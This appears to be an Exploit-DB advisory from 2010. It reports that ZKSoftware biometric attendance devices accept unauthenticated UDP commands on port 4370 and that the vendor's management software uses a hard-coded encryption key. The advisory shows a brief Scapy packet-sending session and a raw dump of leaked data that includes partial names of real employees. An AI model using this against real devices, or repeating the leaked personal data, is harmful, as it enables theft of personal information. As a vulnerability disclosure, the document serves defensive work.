ZKSoftware Biometric Attendence managnmnet Hardware[MIPS] Improper Authentication

vendor:

by:

FB1H2S

N/A

CVSS

N/A

Improper Authentication

Unknown

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2010

ZKSoftware Biometric Attendence managnmnet Hardware[MIPS] Improper Authentication

ZKSoftware is a biometric attendance management system that allows remote IP based management of the hardware via UDP protocol without proper authentication. This vulnerability allows an attacker to send custom commands and download information from the system. The Etimetrack software used to manage the hardware has a hard-coded encryption key, making it susceptible to exploitation.

Mitigation:

Unknown

Source

Exploit-DB raw data:

# Exploit Title: ZKSoftware Biometric Attendence managnmnet Hardware[MIPS] Improper Authentication.
# Date: 20-3-2010
# Author: FB1H2S
# Software Link: http://www.esslindia.com/install/eTimeTrack.zip
# Version: V2
# Tested on: 
# category: Remote
# Code : Advisory

###################################################################################
ZKSoftware Biometric Attendence management Hardware[MIPS] Improper Authentication.

1) ZKSoftware is biometric System which uses Biometric (Fingerprints) to authenticate and manage employee details,and to organise the attendance register. 
This system is widely used in many countries, but is marketed by different company depending on the country.

ZKsoftwares IP-based attendance management system with the following series "ZK5000-ZK9000", the system allows remote IP based management of the hardware via UDP protocol,
 but with out any proper authentication.

You could custom create commands and send to UDP port 4370 of the hardwrae and download information from the system, alternatively u could download a copy of there 
remote hardware management software from one of there vendors web site and use it steel data from the hardware.

Essl is the company which markets this product in India, and its website provides a free download of the management software.

2) Etimetrack software which is used to manage hardware market by ESSL uses an encryption and the encryption key is hard coded in the program.

Exploiting the issue Using Scapy


Response from a coustom made scapy packets:-
#####################################################################################################
fb1h2s@fb1h2s:~$ sudo scapy
[sudo] password for adminuser:
/var/lib/python-support/python2.5/scapy.py:3118: Warning: 'with' will become a reserved keyword in Python 2.6
/var/lib/python-support/python2.5/scapy.py:3120: Warning: 'with' will become a reserved keyword in Python 2.6
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump()
Welcome to Scapy (v1.1.1 / -)
>>>ip=IP("192.168.*.*)
>>>udp=UDP(sport=4371,dport=4370)
>>>payload="Coustomcommands"
>>packet=ip/udp/payload
>>> sniff
<function sniff at 0x9f0333c>
>>sr1(packet)
Begin emission:
Finished to send 1 packets.
You could possibly get any thing you want from the system
BINGO :D

I am including a dump of the UDP communication with the hardware, and the data leakage as a reason of improper authentication.

...........Q[...L.WU[.....f.[...Ver 6.21 Sep  4 2008.....[...~OS.....[...~OS=1...hv[...~ExtendFmt...f>[...~ExtendFmt=0...jW[...ExtendOPLog.....[...ExtendOPLog=...X.[...~Platform.....[...~Platform=ZEM500.E..Y[...H....Q[...... .[...WorkCode....r[...WorkCode=0....E[.................F[..............3....D[..............@[.............U.........d......
MMr.K.Sug........d...e......MMr. Sant.)......e...f......MMrs. Anu/@......f...g......MMr. Kris@@......g...h......MMr. Domian......h...i......MMrs. Sho`n......i...j......MMr. B. S~)......j...k......MMs. Bhag_n......k...l......MMs. NishYn......l...m......MMr. Moha.)......m...n......
MMr. ChanXn......n...o......MMrs. Ruk^n......o...p......MMr. Prad.g......p...q......MMr. Kuma\n......q...r......MMr. Dhan[n......r...s......MMr. NirmZn......s...t......MMs. Lali1@......t...u......MMs. Nave.)......u...v......MMs. Sudh.)......v...w......
MMs. Anit2@......w...x......MMs. Poon3@......x...y......MMrs. Gee=@......y...z......MMs. Vidh<@......z...{......MMrs. BanB@......{...|......MMrs. Man]n......|...}......MMr.G.ThiWn......}...~......MMs. Indi........~..........MMrs. Jot...................MMrs. Kav...................
MMr. Thiy...................MMr. Prak.8.................MMs. Love.8.................MMr. Sund.8.................MMr. Kart.8.................MMs. Koma.8.................MMr. Prad.8.................MMr. ........MaheB`.................MMr. RajkC`.................MMr. NataD`.................MMr. ManoE`.................MMr. Varu<`.................
MMr. Than@`.................MMr. Rich=`.................MMr. Prak>`.................MMrs.A.Us?`.................MMrs.B.KaA`.................MMs. Banu._.................MMr. Stal.@.................MMr. Chan.@.................MMr. DhanQn.................MMr. MukiRn.................MMrs. Satcn.................MMs. Gomabn.................MMr. Ramadn.................
MMrs. Geeen.................
Trimmed....

Current vulnerability is checked and verified with zk5000 hardware model, possibly all other versions would be vulnerable.

#####################################################################################################
# Greetz to all Darkc0de, Andhra Hackers and ICW Memebers[Indian Cyber Wrriors]                             
#Thanks  : Mr bond,beenu,Wipu,GOdwinAustin,The_empty,hg_H@x0r,r45c4l,it_security,eberly,harin,manoj
#Shoutz  : SMART_HAX0R,j4ckh4x0r,41w@r10r,Hackuin
#Catch us at www.andhrahackers.com or www.teamicw.in